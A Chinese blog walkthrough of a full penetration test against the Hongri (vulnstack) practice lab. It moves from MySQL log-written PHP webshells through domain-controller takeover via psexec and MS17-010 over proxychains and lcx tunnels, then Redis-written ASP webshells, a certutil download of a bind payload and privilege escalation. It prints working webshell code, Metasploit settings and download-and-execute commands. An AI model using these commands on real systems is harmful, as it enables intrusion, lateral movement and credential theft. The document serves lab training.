红日靶场全流程渗透测试

2023-12-23 08:59

本文主要是介绍红日靶场全流程渗透测试,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

作者:linshao


靶场下载地址:

http://vulnstack.qiyuanxuetang.net/vuln/detail/2/


目录

web->内网(两条路线:)

 一.php探针->mysql弱口令->目录扫描phpmyadmin->日志写shell

 二.目录扫描yxcms.rar->后台弱口令->模板写shell

内网->域控(三条线路:)

一.密码抓取->寻找域控->psexec登录域控->get

 二.主机发现->漏洞扫描->域控存在ms17-010->msf代理攻击->get

三.主机发现->端口扫描->redis未授权->getshell->正向上线msf->提权->get


一、web->内网

一.php探针->mysql弱口令->目录扫描phpmyadmin->日志写shell

1.mysql弱口令:主页尝试root/root数据库连接正常

2.目录扫描phpmyadmin:目录扫描存在phpmyadmin

3.日志写shell:

    文件导出被禁止

    测试一下确实无法导出

    select "test" into outfile "C:\\www\\phpstudy\\test.php"

    使用日志写shell

  //设置日志文件,web绝对路径可以从探针得知

SET GLOBAL general_log_file = "C:\phpStudy\WWW\1.php";set global general_log='on';      //开启日志SELECT '<?php assert($_REQUEST["cmd"]);?>';

4.访问成功:


二.目录扫描yxcms.rar->后台弱口令->模板写shell

1.目录扫描yxcms.rar:

2.登录后台,新建模板

3.访问shell,模板文件位置可在本地搭建环境得知


内网->域控

先上线cs,powershell上线失败,生成exe上线成功

一.密码抓取->寻找域控->psexec登录域控

密码抓取

Administrator/Admin@123

开启远程桌面:

REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

netstat -an findstr 3389查看是否开启成功

远程登录成功

查找域控

以下几个命令都可以获取到域名

systeminfo

ipconfig /all

查找域管

net group "Domain Admins" /do

获取域控ip:

psexec登录:

上传psexec到192.168.1.11执行命令

psexec \\192.168.52.138 -u Administrator -p Admin@123 -s cmd

会回弹一个system权限的cmd回来

到此最简单的获取域控线路结束

二. 主机发现->漏洞扫描->域控存在ms17-010->msf代理攻击->get

主机发现:

arp-a

存在192.168.52.0/24网段

上传nbtscan(就是快!!!)扫描网段,结果ip放置于1.txt(边界ip为192.168.52.143,排除),DC为...138

(实战中可以白天和晚上各扫描一遍来对比)

漏洞扫描:

上传fscan (内网大保健!!!) 扫描1.txt内ip (fscan也可直接扫网段)

根据结果可以看到138和141都存在ms17-010

msf代理攻击:

但是该机器收不到reverce_shell,判断不出网,遂使用cs创建代理隧道

使用proxychains代理msf对内网进行攻击,

由于边界机器win7出网,因此使用lcx监听本地端口转发到msf (边界不出网用pystinger,或者reg打通隧道在整)

如图:

cs创建socks4隧道

kali设置代理:

cs所在ip为192.168.1.2

刚刚设置的socks代理端口为12345

配置proxychains:

kali打开终端,su切换root用户

输入vi /etc/proxychains4.conf

最后一行添加socks4 ip port

按esc输入wq!保存

打开终端输入proxychains firefox访问192.168.52.138:80代理成功

现在我们可以使用proxychains使msf走代理攻击到192.168.52.138,但是无法获得meterpreter会话,因此下一步使用lcx进行端口转发接收meterpreter

win7使用lcx转发

上传lcx到win7,执行命令对55555进行监听:lcx -tran 55555 192.168.1.12:4444

(命令解释:通过lcx监听本地5555端口,收到数据后转发到192.168.1.12的4444端口,

因此kali需要设置监听4444来接收shell)

l

msf监听4444端口:

kali启动终端,输入:msfconsole启动msf

use exploit/multi/handler

set payload windows/meterpreter/reverse_tcp

set lhost 192.168.1.12

set lport 4444

run

proxychains代理msf对域控(192.168.52.138)进行ms17-010攻击

kali启动终端,输入:proxychains msfconsole启动msf

use windows/smb/ms17_010_psexec

set rhosts 192.168.52.138

set lhost 192.168.52.143

set lport 55555

run

攻击完成kali成功获取到会话

至此成功获取到域控,另外可再起一个lcx进程端口来接受192.168.52.139(域内一台server2008机器)的会话

lcx监听55556,同样转发到192.168.1.12的4444

输入:background 把已获取的session放到后台,然后继续监听4444

切换到msf攻击终端去

set rhosts 192.168.52.139

set lport 55556

run

可以看到成功以边界机器win7为跳板同时管理域内多台主机的会话,此方法适用于存在边界机器的不出网内网渗透,以及全不出网机器打通隧道的内网渗透

server2003(192.168.52.141)是x86位系统,因为测试时使用ms17-010的payload打蓝屏了

所以我新增加的主机192.168.52.138,方便达到测试效果

几个反弹shell的payload都不可成功弹shell回来(包括x86的)

不过信息安全的男生是绝不会轻易认输的

再次对192.168.52.141使用nmap漏洞扫描

发现存在ms08-067,再次使用msf进行测试,不过,又失败了。应该是payload的原因,两个漏洞都是接收shell哪儿是有反应的,但meterpreter会话不可用。

渗透本就是逆天而行,死在路上也很正常

经过反复测试

admin/smb/ms17_010_command模块是可以成功执行命令的(多执行几次,有时候会失效)

可以通过

use admin/smb/ms17_010_command

set command 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f'

set rhosts 192.168.52.141

run

来开启server2008的远程端口,再通过域管账户登录上去

至此,域内机器已全部get

三.主机发现->端口扫描->redis未授权->getshell->正向上线msf->提权->get

主机发现:

沿用以上获取到的ip

端口扫描:

使用fscan批量扫描网段6379:得知192.168.52.138上开放redis端口

且其开放80端口为iis,可尝试redis写webshell

redis未授权:

上传redis-cli.exe到边界服务器win7上(也可以不上传,流量走代理)

执行redis-cli.exe -h 192.168.52.138 -p 6379

发现redis存在未授权,尝试写出asp一句话

getshell:

尝试访问成功

当前权限iis

http://192.168.52.138/test.asp?linshao=response.write(server.createobject("wscript.shell").exec("cmd.exe /c whoami").stdout.readall)

正向连接上线msf:

由于不出网,使用msf生成木马通过代理正向连接

上传bind.exe到win7

上传hfs.exe简易http服务器到win7搭建http服务(点开即用,方便极了)

访问连接通过执行certutil命令下载木马到c:\windows\temp\

(%26为&,命令连接符)

http://192.168.52.138/test.asp?linshao=response.write(server.createobject("wscript.shell").exec("cmd /c cd C:\Windows\Temp %26 certutil -urlcache -split -f http://192.168.52.143/bind.exe").stdout.readall)

访问链接执行bind.exe

http://192.168.52.138/test.asp?linshao=response.write(server.createobject("wscript.shell").exec("cmd /c C:\Windows\Temp\ind.exe").stdout.readall)

执行后目标已开放4444端口:

注意:bind_tcp的端口对于其他程序来说是一次性的,也就是说不能扫描,否则bind.exe接收到的数据异常会导致程序崩溃。上图我扫描端口就引起了程序崩溃。重新访问启动木马,访问时候看到速度比较慢则启动木马成功

使用代理的msf进行连接:

use exploit/multi/handler

set payload windows/x64/meterpreter/bind_tcp

set rhost 192.168.52.138

set lport 4444

run

运行后通过代理连接到域控的4444端口,但是权限特别低(iis权限),下一步进行提权

提权:cve2018-8210提权

sysinfo查看得知系统为2008r2,使用cve2018-8210提权(08系统的提权漏洞挺多的)

#msf上传文件:

upload x64.exe c:\\windows\\temp\\x64.exe

#添加计划任务重新运行bind.exe:

execute -f 'cmd /c at 9:29 c:\\windows\\temp\\x64.exe "c:\\windows\\temp\\bind.exe"'

#退出当前会话,

exit

#等待定时任务执行完毕后再次run

run

成功获取到system权限

TIPS:bind_tcp的会话还是比较不爽的,执行命令只能通过execute -f "whoami"执行,不过这里应该是我有层代理的原因。不是直连的所以会无法获取交互式shell


'一闪一闪亮晶晶,满天都是小星星’

这篇关于红日靶场全流程渗透测试的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/527464

相关文章

Nginx设置连接超时并进行测试的方法步骤

《Nginx设置连接超时并进行测试的方法步骤》在高并发场景下,如果客户端与服务器的连接长时间未响应,会占用大量的系统资源,影响其他正常请求的处理效率,为了解决这个问题,可以通过设置Nginx的连接... 目录设置连接超时目的操作步骤测试连接超时测试方法:总结:设置连接超时目的设置客户端与服务器之间的连接

Linux流媒体服务器部署流程

《Linux流媒体服务器部署流程》文章详细介绍了流媒体服务器的部署步骤,包括更新系统、安装依赖组件、编译安装Nginx和RTMP模块、配置Nginx和FFmpeg,以及测试流媒体服务器的搭建... 目录流媒体服务器部署部署安装1.更新系统2.安装依赖组件3.解压4.编译安装(添加RTMP和openssl模块

0基础租个硬件玩deepseek,蓝耘元生代智算云|本地部署DeepSeek R1模型的操作流程

《0基础租个硬件玩deepseek,蓝耘元生代智算云|本地部署DeepSeekR1模型的操作流程》DeepSeekR1模型凭借其强大的自然语言处理能力,在未来具有广阔的应用前景,有望在多个领域发... 目录0基础租个硬件玩deepseek,蓝耘元生代智算云|本地部署DeepSeek R1模型,3步搞定一个应

springboot启动流程过程

《springboot启动流程过程》SpringBoot简化了Spring框架的使用,通过创建`SpringApplication`对象,判断应用类型并设置初始化器和监听器,在`run`方法中,读取配... 目录springboot启动流程springboot程序启动入口1.创建SpringApplicat

通过prometheus监控Tomcat运行状态的操作流程

《通过prometheus监控Tomcat运行状态的操作流程》文章介绍了如何安装和配置Tomcat,并使用Prometheus和TomcatExporter来监控Tomcat的运行状态,文章详细讲解了... 目录Tomcat安装配置以及prometheus监控Tomcat一. 安装并配置tomcat1、安装

MySQL的cpu使用率100%的问题排查流程

《MySQL的cpu使用率100%的问题排查流程》线上mysql服务器经常性出现cpu使用率100%的告警,因此本文整理一下排查该问题的常规流程,文中通过代码示例讲解的非常详细,对大家的学习或工作有一... 目录1. 确认CPU占用来源2. 实时分析mysql活动3. 分析慢查询与执行计划4. 检查索引与表

Git提交代码详细流程及问题总结

《Git提交代码详细流程及问题总结》:本文主要介绍Git的三大分区,分别是工作区、暂存区和版本库,并详细描述了提交、推送、拉取代码和合并分支的流程,文中通过代码介绍的非常详解,需要的朋友可以参考下... 目录1.git 三大分区2.Git提交、推送、拉取代码、合并分支详细流程3.问题总结4.git push

C#提取PDF表单数据的实现流程

《C#提取PDF表单数据的实现流程》PDF表单是一种常见的数据收集工具,广泛应用于调查问卷、业务合同等场景,凭借出色的跨平台兼容性和标准化特点,PDF表单在各行各业中得到了广泛应用,本文将探讨如何使用... 目录引言使用工具C# 提取多个PDF表单域的数据C# 提取特定PDF表单域的数据引言PDF表单是一

PyCharm接入DeepSeek实现AI编程的操作流程

《PyCharm接入DeepSeek实现AI编程的操作流程》DeepSeek是一家专注于人工智能技术研发的公司,致力于开发高性能、低成本的AI模型,接下来,我们把DeepSeek接入到PyCharm中... 目录引言效果演示创建API key在PyCharm中下载Continue插件配置Continue引言

使用MongoDB进行数据存储的操作流程

《使用MongoDB进行数据存储的操作流程》在现代应用开发中,数据存储是一个至关重要的部分,随着数据量的增大和复杂性的增加,传统的关系型数据库有时难以应对高并发和大数据量的处理需求,MongoDB作为... 目录什么是MongoDB?MongoDB的优势使用MongoDB进行数据存储1. 安装MongoDB